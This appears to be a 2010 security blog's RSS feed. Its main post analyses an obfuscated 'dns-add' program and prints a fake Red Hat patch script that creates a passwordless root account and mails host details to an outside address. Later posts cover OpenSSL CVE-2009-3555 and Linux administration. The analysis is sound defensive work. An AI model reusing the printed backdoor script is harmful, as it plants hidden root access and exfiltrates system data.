<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Phocean.net &#187; Admin</title>
	<atom:link href="http://www.phocean.net/category/administration-systeme/linux/administration/feed" rel="self" type="application/rss+xml" />
	<link>http://www.phocean.net</link>
	<description>Crusing for Knowledge, Drifting towards Security</description>
	<lastBuildDate>Thu, 02 Sep 2010 13:57:10 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Beware of source code (even from your favorite portal/forum/&#8230;)</title>
		<link>http://www.phocean.net/2010/04/24/beware-of-source-code-even-from-your-favorite-portalforum.html</link>
		<comments>http://www.phocean.net/2010/04/24/beware-of-source-code-even-from-your-favorite-portalforum.html#comments</comments>
		<pubDate>Sat, 24 Apr 2010 12:14:04 +0000</pubDate>
		<dc:creator>JC</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Malware forensics]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[Bash]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[obfuscation]]></category>
		<category><![CDATA[RC4]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[social engineering]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=793</guid>
		<description><![CDATA[The other day I stumbed upon a weired piece of software on howtoforge.com : dns-add (code on sourceforge.net). Actually, the purpose of dns-add was very intriguing : update your DNS in one command ! The output should look like this: ...::: ISP-fW DNS add v1.0 :::... http://isp-fw.sourceforge.net/ --== copyleft 2005-2006 ==-- &#124; Free memory: 864 [...]]]></description>
			<content:encoded><![CDATA[<p>The other day I stumbed upon a weired piece of software on <a title="Howtoforge.com" href="http://howtoforge.com" target="_blank">howtoforge.com</a> : <a title="dns-add" href="http://www.howtoforge.com/adding-dns-servers-in-one-step-with-dns-add" target="_blank">dns-add</a> (code <a title="Sourceforge dns-add" href="http://sourceforge.net/projects/isp-fw/files/DNS-add/" target="_blank">on sourceforge.net</a>).</p>
<p>Actually, the purpose of dns-add was very intriguing : update your DNS in one command !</p>
<p>The output should look like this:</p>
<pre class="brush: plain;">...::: ISP-fW DNS add v1.0  :::... http://isp-fw.sourceforge.net/
--== copyleft 2005-2006 ==-- | Free memory:         864
contact isp.devel@gmail.com
You can add up to 9 DNS servers, enter a number from [0-9]: 2
Enter DNS1: 192.168.157.193
Enter DNS2: 192.168.157.251
Done adding 2 DNS!
DNS 192.168.157.193 responded in 0.256 ms
DNS 192.168.157.251 responded in 0.112 ms</pre>
<p>Who would need it these days where all distros include tools and script to update the DNS with DHCP. At worst, it is just a matter of opening an editor to add two lines in /etc/resolv.conf. Done in 10 seconds.</p>
<p>To enjoy dns-add, we are supposed to compile the source code. Let&#8217;s have a look at it first.</p>
<p>It gets quickly obvious that there could be something nasty. The code is clearly obfuscated, to make it difficult to read:</p>
<ul>
<li>not much commented,</li>
<li>a bunch of strange variables like &#8220;\026\243\314\376\220\366\154\166\346\334\005\116\360\114\015\231&#8243;. Could be the real code, hidden,</li>
<li>None of the visible stuff seems to do anything on the DNS.</li>
</ul>
<p>So now, let&#8217;s try to find out what&#8217;s behind all that. As we have the source code, the idea is to understand what the code is doing, so that we can write a snippet at the right place to just read the deciphered and potentially malicious code. That&#8217;s the easiest way, no need to disassembly and do memory forensic.</p>
<p>A good practice is to look for some pieces of code on the web, as developpers are lazy and often reuse already existing code. Doing that, you can save a lot of time.</p>
<p>Bingo ! There is a code almost entirely identical <a title="RedHat update malware" href="http://packetstormsecurity.nl/0410-advisories/FakeRedhatPatchAnalysis.txt" target="_blank">there</a>.<br />
We learn that the code, as old as 6 years old, actually hid a shell trojan instead of beeing a Red Hat update as claimed.</p>
<p>There is clearly a risk, so we must check what the code of dns-add contains. Here more hints help us again about the encoding used : some comments and a function name mention RC4 (or ARC4).</p>
<p>So let&#8217;s see how RC4 works and compare it with its possible implementation in dns-add.<br />
Rougly, RC4 is just an improved XOR whith the help of a lot of keys permutations. I found a clear and short description <a title="RC4" href="http://www.frontiernet.net/~fys/cypher.htm" target="_blank">there</a> :</p>
<blockquote><p>RC4 has two phases: key setup and ciphering.</p>
<p>The key setup phase is only done once per message and starts by initializing the entire state array so that the first state element is zero, the second is one, the third is two, and so on.</p>
<p>The state array is then subjected to 256 mixing operations using a loop that steps i through the values from zero to 255.</p>
<p>Each mixing operation consists of two steps:<br />
Add to the variable j the contents of the ith element of the state array and the nth element of the key, where n is equal to i modulo the length of the key.  (remember, the key here means the 10 byte IV at the front of the file, (or the one your program creates, if encoding), and the given key on the command line. (Key+IV)<br />
Swap the ith and jth elements of the state array.</p>
<p>After the entire mixing loop is completed, i and j are set to zero.</p>
<p>During the ciphering operation, the following steps are performed for each byte of the message:</p>
<p>The variable i is incremented by one<br />
The contents of the ith element of &#8216;State&#8217; is then added to j<br />
The ith and jth elements of &#8216;State&#8217; are swapped and their contents are added together to form a new value n.<br />
The nth element of &#8216;State&#8217; is then combined with the message byte, using a bit by bit exclusive-or operation (XOR), to form the output byte.<br />
The same ciphering steps are performed for encryption and for decryption.</p></blockquote>
<p><strong><em>void key(void * str, int len)</em></strong> for setting the key setup phase and <strong><em>void arc4(void * str, int len, char *hint)</em></strong> for the deciphering phase do exactly what&#8217;s described above.</p>
<p>They are called by <em><strong>char * xsh(int argc, char ** argv)</strong></em>, which we are going to look at carefully now.</p>
<p>This function succevely setup all keys and decipher all the hardcoded vars. Note that a function, <strong><em>chkenv,</em></strong> setup a variable in the environment, based on the PID (and other tricks). It is not useful in the present case, but it could be developped further and used for example to avoid over-infections.</p>
<p>What&#8217;s interesting is actually the bottom of the function, where the guy actually builds the shellcode, putting alltogether the pieces of deciphered code.</p>
<pre class="brush: cpp;">
j = 0;
varg[j++] = argv[0];		/* My own name at execution */
if (ret &amp;&amp; *opts)
	varg[j++] = opts;	/* Options on 1st line of code */
if (*inlo)
	varg[j++] = inlo;	/* Option introducing inline code */
varg[j++] = scrpt;		/* The script itself */
if (*lsto)
	varg[j++] = lsto;	/* Option meaning last option */
i = (ret &gt; 1) ? ret : 0;	/* Args numbering correction */
while (i &lt; argc)
	varg[j++] = argv[i++];	/* Main run-time arguments */
varg[j] = 0;			/* NULL terminated array */</pre>
<p>Then, it is launched with execvp:</p>
<pre class="brush: cpp;">
#if DEBUGEXEC
debugexec(shll, j, varg);
#endif
execvp(shll, varg);
return shll;
</pre>
<p><strong>Before testing further, it is safer to comment out the execvp line.</strong></p>
<p>Now, we just need to retrieve the shellcode, so we just add this lazy piece of code (to insert right before #if DEBUGEXEC):</p>
<pre class="brush: cpp;">
FILE *fout;
char **tmp;
tmp = varg;
fout = fopen (&quot;dns-test&quot;,&quot;w&quot;);
do {
  fprintf (fout, *tmp);
}
while (*tmp++ != NULL);
fclose (fout);</pre>
<p>Here we go :</p>
<pre class="brush: bash;">
$ ./dns-add
$ cat shellcode
./dns-add-c           &lt;blank chars skipped&gt;                    #!/bin/bash

dnsfile=&quot;/etc/resolv.conf&quot;
failed='\e[1;31m'failed'\e[0m'
ok='\e[1;34m'ok'\e[0m'

function dns_add(){
mv -f $dnsfile $dnsfile.back
for (( i=1; i &lt;= $dns_nr; i++ )) do
    echo -n &quot;Enter DNS${i}: &quot;
    read dns;
    echo &quot;nameserver $dns&quot; &gt;&gt; $dnsfile;
done
echo &quot;Done adding $dns_nr DNS!&quot;
echo
for i in `cat $dnsfile | cut -d &quot; &quot; -f 2`; do
    if [ `ping -c 1 $i | grep -c &quot;100%&quot;` -eq 1 ]; then
            echo -e &quot;DNS $i $failed to respond =&gt; request timeout <img src='http://www.phocean.net/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  &quot;
    else
        echo -ne &quot;DNS $i responded in &quot;;
        ping -c 1 $i | grep icmp_seq | cut -d &quot;=&quot; -f 4;
    fi
done
}

clear
echo -e &quot;...::: ISP-fW DNS add v1.0  :::...&quot;&quot;\e[1m\e[36;40m&quot; &quot;http://isp-fw.sourceforge.net/\e[0m &quot;;
echo -e &quot;--== copyleft 2005-2006 ==-- | Free memory: $(free -m|grep cache:|cut -d &quot;:&quot; -f2|cut -c12-22)&quot;;
echo &quot;contact isp.devel@gmail.com&quot;
echo
echo -n &quot;You can add up to 9 DNS servers, enter a number from [0-9]: &quot;;
read dns_nr;

case $dns_nr in
  [0-9]         ) dns_add;;
  [[:lower:]]   ) echo &quot;$dns_nr is not a number!&quot;;;
  [[:upper:]]   ) echo &quot;$dns_nr is not a number!&quot;;;
  *             ) echo &quot;$dns_nr is not a number!&quot;;;
esac
./dns-add</pre>
<p>That&#8217;s it. A big C file just for this lame shell script. The good news is that it does what it says. There is no malicious purpose, for now, it&#8217;s nothing else than a (bad) joke.</p>
<p>In the case of the original malware, it was more harmfull :</p>
<pre class="brush: bash;">#!/bin/sh
cd /tmp/
clear
if [ `id -u` != &quot;0&quot; ]
then
        echo &quot;This patch must be applied as \&quot;root\&quot;, and you are: \&quot;`whoami`\&quot;&quot;
        exit
fi
echo &quot;Identifying the system. This may take up to 2 minutes. Please wait ...&quot;
sleep 3
if [ ! -d /tmp/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot; ]; then
 echo &quot;Inca un root frate belea: &quot; &gt;&gt; /tmp/mama
 adduser -g 0 -u 0 -o bash &gt;&gt; /tmp/mama
 passwd -d bash &gt;&gt; /tmp/mama
 ifconfig &gt;&gt; /tmp/mama
 uname -a &gt;&gt; /tmp/mama
 uptime &gt;&gt; /tmp/mama
 sshd &gt;&gt; /tmp/mama
 echo &quot;user bash stii tu&quot; &gt;&gt; /tmp/mama
 cat /tmp/mama | mail -s &quot;Inca o roata&quot; root@addlebrain.com &gt;&gt; /dev/null
 rm -rf /tmp/mama
 mkdir -p /tmp/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;
fi

bla()
{
  sleep 2
  echo -n &quot;#&quot;
  sleep 1
  echo -n &quot;#&quot;
  sleep 1
  echo -n &quot;#&quot;
  sleep 2
  echo -n &quot;#&quot;
  sleep 1
  echo -n &quot;#&quot;
  sleep 1
  echo -n &quot;#&quot;
  sleep 3
  echo -n &quot;#&quot;
  sleep 1
  echo -n &quot;#&quot;
  sleep 4
  echo -n &quot;#&quot;
  sleep 1
  echo -n &quot;#&quot;
  sleep 1
  echo &quot;#&quot;
  sleep 1
}

echo &quot;System looks OK. Proceeding to next step.&quot;
sleep 1
echo
echo -n &quot;Patching \&quot;ls\&quot;: &quot;
bla
echo -n &quot;Patching \&quot;mkdir\&quot;: &quot;
bla
echo
echo &quot;System updated and secured successfuly. You may erase these files.&quot;
sleep 1
./badexec 'exec '%s' &quot;$@&quot;' &quot;$@&quot;</pre>
<p>Technically, at the end, it is rather basic. However, it is successful in the way that it hides its purpose to most people.<br />
What&#8217;s not clear yet is the poster purpose. Fun ? Any other weired feeling ? Or just testing the capacity of the community to detect maliscious software ? If so, was he just curious or does he have any future plan ?<br />
Maybe I should ask him.</p>
<p>Anyway, how many people opened and read the code ? Especially on a community driven website where people tend to have a dangerous feeling of trust and safety : it can&#8217;t be malicious, the author offers the source code and nicely shares his work, right ?<br />
And among the few people who checked the code, who really understood it ? Not everyone is an IT specialist. And even among them, not everyone is a developper or can read C.</p>
<p>It highlights well several things :</p>
<ul>
<li><strong>social engineering is multi-platform ! </strong>We are often more vulnerable than our systems. Linux user or not.</li>
<li><strong>software published with the source code doesn&#8217;t mean safe software</strong>.</li>
</ul>
<p>As much as possible, download software exclusively from the official repositories of your favorite distribution (openSUSE <img src='http://www.phocean.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ).<br />
If you really have to use code from an untrusted source, check it, or wait for the right people to do it! Don&#8217;t just grab any code, compile it and execute it blindly.</p>
<p>At the same time as open-source software grows, we, users, and also websites like Sourceforge will have to be more carefull about the content we download.</p>
<p><strong><span style="color: #ff0000;"><em><span style="color: #ff0000;">* Update *</span></em></span></strong></p>
<p><em><span style="color: #993300;">I did contact the author and didn&#8217;t get any answer.<br />
I reported the issue to Sourceforge, which deleted the account hosting dns-add, as it violated the website policies.</span></em></p>
<p><em><span style="color: #993300;">You can download the source code </span></em><a href="http://www.phocean.net/wp-content/uploads/2010/04/dns-add.tar.gz"><em><span style="color: #0000ff;">dns-add.tar.gz</span></em></a><em><span style="color: #993300;"> if you want to analyse it.</span></em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2010/04/24/beware-of-source-code-even-from-your-favorite-portalforum.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Downtimes: a hardware problem</title>
		<link>http://www.phocean.net/2010/04/07/downtimes-a-hardware-problem.html</link>
		<comments>http://www.phocean.net/2010/04/07/downtimes-a-hardware-problem.html#comments</comments>
		<pubDate>Wed, 07 Apr 2010 18:07:24 +0000</pubDate>
		<dc:creator>JC</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[openSUSE]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=784</guid>
		<description><![CDATA[You may have noticed that the site had a lot of downtimes recently. I was having a daily kernel panic and weired file system corruptions, which I first tought were coming from the successive crashes and reboots. However, while it happened again and again and I could not find any good reason for that, I [...]]]></description>
			<content:encoded><![CDATA[<p>You may have noticed that the site had a lot of downtimes recently.</p>
<p>I was having a daily kernel panic and weired file system corruptions, which I first tought were coming from the successive crashes and reboots.</p>
<p>However, while it happened again and again and I could not find any good reason for that, I became more doubtful about my hardware and finally found the culprit.<br />
I booted on Memtest, installed with zypper from the repo, which immediately displayed a lot of errors. The tedious task of isolating the faulty memory module revealed that it was one from a Ballistix bundle that I bought just 3 months ago.</p>
<p>I usually use Kingston or Corsair and never had such a problem, but maybe I was just lucky. I will test now the customer service of Ballistix.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2010/04/07/downtimes-a-hardware-problem.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Updates on OpenSSL CVE-2009-3555 (client renegociation)</title>
		<link>http://www.phocean.net/2010/04/05/updates-about-openssl-cve-2009-3555-client-renegociation.html</link>
		<comments>http://www.phocean.net/2010/04/05/updates-about-openssl-cve-2009-3555-client-renegociation.html#comments</comments>
		<pubDate>Mon, 05 Apr 2010 08:40:44 +0000</pubDate>
		<dc:creator>JC</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[certificate]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[CVE-2009-3555]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[mod-ssl]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=773</guid>
		<description><![CDATA[So there are some news from the front of OpenSSL CVE-2009-3555 (see this and this for the history). Now the latest version of Apache mod_ssl (2.2) embeds an option to reactivate old way client renegociation : SSLInsecureRenegotiation on Check the official doc for more details. With this option activated, you can now safely upgrade openSSL [...]]]></description>
			<content:encoded><![CDATA[<p>So there are some news from the front of OpenSSL CVE-2009-3555 (see <a title="SSL client authenticate breakage" href="http://www.phocean.net/2009/11/28/openssl-cve-2009-3555-security-fix-and-mod_ssl-client-authentication-breakage.html" target="_self">this</a> and <a title="SSL/TLS RFC updated against CVE-2009-3555" href="http://www.phocean.net/2010/01/09/ssltls-rfc-updated-against-cve-2009-3555.html" target="_self">this</a> for the history).</p>
<p>Now the latest version of Apache mod_ssl (2.2) embeds an <a title="mod_ssl client renegociation" href="http://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslinsecurerenegotiation" target="_blank">option to reactivate old way client renegociation</a> :</p>
<pre class="brush: plain;">SSLInsecureRenegotiation on</pre>
<p>Check the official doc for more details. With this option activated, you can now safely upgrade openSSL and mod_ssl without breaking your clients. They should have done it from the begining, shouldn&#8217;t they ?</p>
<p>The next step will be to move on to the new protocol definitely, to solve for good the CVE-2009-3555 vulnerability. For that we have to wait for the browsers to support it.</p>
<p>Firefox has started to <a title="Firefox and CVE-2009-3555" href="https://wiki.mozilla.org/Security:Renegotiation" target="_blank">work seriously on it</a> and we can expect some support in the next releases (some settings will be possible through about:config).</p>
<p>They even created a <a title="CVE-2009-3555 test page" href="https://ssltls.de/" target="_blank">test site</a>. This screenshot was taken from Google Chrome (5.0.366.2, <a title="openSUSE repos" href="http://en.opensuse.org/Additional_package_repositories" target="_blank">openSUSE repo</a>) which already has support for the SSL protocol :</p>
<p style="text-align: center;"><a href="http://www.phocean.net/wp-content/uploads/2010/04/chrome-ssl.png"><img class="aligncenter size-full wp-image-776" title="chrome-ssl" src="http://www.phocean.net/wp-content/uploads/2010/04/chrome-ssl.png" alt="" width="455" height="473" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2010/04/05/updates-about-openssl-cve-2009-3555-client-renegociation.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>SSL/TLS RFC updated against CVE-2009-3555</title>
		<link>http://www.phocean.net/2010/01/09/ssltls-rfc-updated-against-cve-2009-3555.html</link>
		<comments>http://www.phocean.net/2010/01/09/ssltls-rfc-updated-against-cve-2009-3555.html#comments</comments>
		<pubDate>Sat, 09 Jan 2010 11:23:09 +0000</pubDate>
		<dc:creator>JC</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[IETF]]></category>
		<category><![CDATA[mod-ssl]]></category>
		<category><![CDATA[RFC]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[TLS]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=673</guid>
		<description><![CDATA[A solution has been finally brought up to fix CVE-2009-3555 and the temporary solution that broke client authentication. At least, the IETF agreed on a fix as Marsh Ray informs us, though it will still take some weeks for the whole validation process to complete. Moreover, as it requires both the servers and the clients [...]]]></description>
			<content:encoded><![CDATA[<p>A solution has been finally brought up to fix<a href="http://www.phocean.net/2009/11/28/openssl-cve-2009-3555-security-fix-and-mod_ssl-client-authentication-breakage.html"> CVE-2009-3555 and the temporary solution that broke client authentication</a>.</p>
<p>At least, the IETF agreed on a fix as <a title="SSL/TLS fix" href="http://extendedsubset.com/?p=14" target="_blank">Marsh Ray</a> informs us, though it will still take some weeks for the whole validation process to complete.</p>
<p>Moreover, as it requires both the servers and the clients to be patched, it will take months before the patches can be applied and one can have a working client authentification architecture. The longest will be the client side, of course, so I feel sorry for those who have a large park to manage.</p>
<p>As far as I am concerned, fortunately, I will just have a few browsers that I manage directly to update. Anyway, still more patience is needed !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2010/01/09/ssltls-rfc-updated-against-cve-2009-3555.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Netios 0.71</title>
		<link>http://www.phocean.net/2009/12/20/netios-0-71.html</link>
		<comments>http://www.phocean.net/2009/12/20/netios-0-71.html#comments</comments>
		<pubDate>Sun, 20 Dec 2009 16:34:37 +0000</pubDate>
		<dc:creator>JC</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[Cisco]]></category>
		<category><![CDATA[Defense]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[Scripts, Programs]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[ios]]></category>
		<category><![CDATA[netios]]></category>
		<category><![CDATA[password]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=578</guid>
		<description><![CDATA[I release a new version of Netios : 0.71. There are a lot of changes, starting with cosmetics, but the biggest one is the support of multiprocessing. It is now able to process several routers at the same time, so using it on a large list of machines results in a big speed up. A [...]]]></description>
			<content:encoded><![CDATA[<p>I release a new version of Netios : 0.71.</p>
<p>There are a lot of changes, starting with cosmetics, but the biggest one is the support of multiprocessing.</p>
<p>It is now able to process several routers at the same time, so using it on a large list of machines results in a big speed up.</p>
<p>A downside is that it now requires at least Python 2.6, as multiprocessing started to be supported with this version only. Most Linux distributions now include Python 2.6, but still not all. Anyway it will be more and more the case. If you can&#8217;t uprade your distribution, you can stick with 0.60 which still do most of the work fine.</p>
<p>It is also now able to fetch a configuration file remotly, but it requires more testing before I feel confident in the way it works.</p>
<p>The complete changelog :</p>
<blockquote><p>2009-12-20  (0.71) Jean-Christophe Baptiste <jc@phocean.net>;</p>
<p>* ciscoclass.py : handle correctly the cisco pager &#8212; More &#8212; so that &#8220;show run&#8221; mode should work even with large config files<br />
* sshclass.py : allow to override terminal size system settings (make use of the cisco pager to avoid filling the buffer)</p>
<p>2009-11-16  (0.70) Jean-Christophe Baptiste <jc@phocean.net> (private release)</p>
<p>* implement multiprocessing<br />
* improve code documentation<br />
* clean up UI<br />
* reduce useless logging<br />
* netios.py : bug : missing startTime parameter in f_skip_error and f_command functions</p></blockquote>
<p>I cross my fingers so that there are not too many bugs, but if so, please don&#8217;t forget to report it to me.</p>
<p><a title="Netios" href="http://www.phocean.net/tools/netios">Check there</a> (tools page) for more details and a download link.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2009/12/20/netios-0-71.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OpenSSL : CVE-2009-3555 security fix and mod_ssl client authentication breakage</title>
		<link>http://www.phocean.net/2009/11/28/openssl-cve-2009-3555-security-fix-and-mod_ssl-client-authentication-breakage.html</link>
		<comments>http://www.phocean.net/2009/11/28/openssl-cve-2009-3555-security-fix-and-mod_ssl-client-authentication-breakage.html#comments</comments>
		<pubDate>Sat, 28 Nov 2009 16:08:50 +0000</pubDate>
		<dc:creator>JC</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[Vulnerability]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=524</guid>
		<description><![CDATA[A security advisory on OpenSSL has recently been published. Details are there and there. It is vulnerable to a MiTM attack where the attacker can intercept and retrieve the credential to a trusted HTTPS website, by intercepting the session cookie sent back to the client. A proof of concept of an attack against Twitter was [...]]]></description>
			<content:encoded><![CDATA[<p>A security advisory on OpenSSL has recently been published. Details are <a title="CVE-2009-3555" href="http://secunia.com/advisories/cve_reference/CVE-2009-3555/">there</a> and <a title="renegociation vulnerability" href="http://www.securegoose.org/2009/11/tls-renegotiation-vulnerability-cve.html">there</a>.</p>
<p>It is vulnerable to a <strong>MiTM attack </strong>where the attacker can intercept and retrieve the credential to a trusted HTTPS website, by intercepting the session cookie sent back to the client.</p>
<p>A proof of concept of an attack against Twitter was made.</p>
<p>Fine. But so far, <strong>the answer was to just disable any renegociation</strong>.</p>
<p>This actually causes some issues with SSL session timeout and totally broke client authentication.</p>
<p>I got into problems because of the latter. I am using client authentication for some location of my web server, and I recently could not connect anymore to these with the following log in apache :</p>
<pre class="brush: plain;">[Tue Nov 24 16:56:15 2009] [debug] ssl_engine_kernel.c(1912): OpenSSL:Exit: error in SSLv3 read client hello A
[Tue Nov 24 16:56:15 2009] [error] [client x.x.x.x] Re-negotiation handshake failed: Not accepted by client!?</pre>
<p>I first was not aware of the openssl patch and tried almost anything possible. My focus was, of course, on the certificate and the client.<br />
But, a nice guy on IRC #suse,<strong> Stittel</strong>, had a good hunch and suggested me to look at the CVE-2009-3555 fix.</p>
<p>After more tests, it was quickly confirmed to work well with older versions of OpenSSL (as shipped in Debian Lenny).<br />
Finally, I downgraded the OpenSSL version on my openSUSE box to a version prior to the CVE-2009-3555 fix and it just worked fine.</p>
<p>Then, I dig into it and found a lot of interesting reports <a href="https://bugzilla.redhat.com/show_bug.cgi?id=533125" target="_blank">there</a> and <a href="http://old.nabble.com/TLS-renegotiation-disabling-:-mod_ssl-and-OpenSSL--0.9.8l-td26285568.html" target="_blank">there</a>. So far it is a real mess.<br />
In short, the breakage will stay as long as browsers don&#8217;t also include a patch to avoid renegotiation.<br />
So far, I could not find a browser that does include a patch.<br />
If anyone reading it knows a version that does it, please let me know.</p>
<p>Meanwhile, you have actually the choice between :</p>
<ul>
<li>low security by deactivating client authentication on your server</li>
<li>low security by keeping a vulnerable version of OpenSSL</li>
</ul>
<p>As my server is not very exposed, I chose the latter, but that&#8217;s not satisfying.  It is not recommended, but if like me you need to use client authentication with mod_ssl on openSUSE 11.2, do :</p>
<pre class="brush: bash;">% zypper install --from repo-oss openssl openssl-certs libopenssl0_9_8 libopenssl0_9_8-32bit</pre>
<p>where repo-oss is the alias to the 11.2 release (without updates) on your system.</p>
<p>What a brutal way to fix an issues without much notification and consideration to the users ! Even the log message is wrong and just confusing the administrator&#8230;</p>
<p><em>PS 1 : thanks again to Stittel for the good hint (I hope you will come by here) and to the always nice and helpful #suse channel in general <img src='http://www.phocean.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </em></p>
<p><em>PS 2 : <a href="https://bugzilla.novell.com/show_bug.cgi?id=558176" target="_blank">bug reported</a> on openSUSE bugzilla</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2009/11/28/openssl-cve-2009-3555-security-fix-and-mod_ssl-client-authentication-breakage.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>openSUSE 11.1 and /boot on RAID 1</title>
		<link>http://www.phocean.net/2009/10/21/opensuse-11-1-and-boot-on-raid-1.html</link>
		<comments>http://www.phocean.net/2009/10/21/opensuse-11-1-and-boot-on-raid-1.html#comments</comments>
		<pubDate>Wed, 21 Oct 2009 18:06:27 +0000</pubDate>
		<dc:creator>JC</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Fedora]]></category>
		<category><![CDATA[Grub]]></category>
		<category><![CDATA[RAID]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=489</guid>
		<description><![CDATA[I tried yesterday to set up a home server with two disks in a RAID 1 array. My intention was to have everything on the RAID volume, including /boot, so that if a disk crash, I still can boot on the second one. That&#8217;s the way I think it should work anyway, despite the number [...]]]></description>
			<content:encoded><![CDATA[<p>I tried yesterday to set up a home server with two disks in a RAID 1 array.</p>
<p>My intention was to have everything on the RAID volume, including /boot, so that if a disk crash, I still can boot on the second one.<br />
That&#8217;s the way I think it should work anyway, despite the number of tutorials or forum posts advising not to do so.</p>
<p>The openSUSE partitionner, during the installation process, warned me that having /boot on the RAID 1 array may not work with grub.<br />
And indeed, at the end of the installation, I could not be able to set grub properly :</p>
<ul>
<li>the installer seemed to be lost, writing wrong devices in the various grub config file like menu.lst and grub.conf</li>
<li>I tried to use the manual edition mode offered by the installer, but either because I missed something or there is a bug somewhere, I could never save my modifications.</li>
</ul>
<p>Conclusion : there was a no go.</p>
<p>I became curious to see how a few other distributions could handle it.</p>
<p>At first, I thought they would all fail, because I have always found the openSUSE installer to be the best out there.</p>
<p>So I took a <strong>Debian Lenny</strong> CD, which is my second favorite distribution, and looked at it. The Debian installer is straightforward, but the partionner has always lacked of flexibility. It is fine when you are doing something pretty standard, but you get quickly limited when you want to do something more complicated.<br />
There, no way to have /boot on a RAID volume, and the interface was really painful to use. Any mistake almost oblige you for sure to restart all from scratch.</p>
<p>Then, I looked at <strong>Fedora 11</strong>&#8230; without expecting much. The last time I tried it on a machine, it just froze every time it read the disk configuration.<br />
<strong>But&#8230; surprise ! All I wanted was supported out of the box</strong>. The partionner was as pleasant to use as the one of openSUSE, and setting grub on /dev/md0 was just a matter of checking a box.</p>
<p>I have been quite impressed this time and Fedora will stay on this machine for a while.</p>
<p>I haven&#8217;t tested <strong>openSUSE 11.2</strong> yet because the purpose of this machine is to be a server, so I care about stability.</p>
<p>But I will, and I wish it can support this feature also, or that it will be the case some day.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2009/10/21/opensuse-11-1-and-boot-on-raid-1.html/feed</wfw:commentRss>
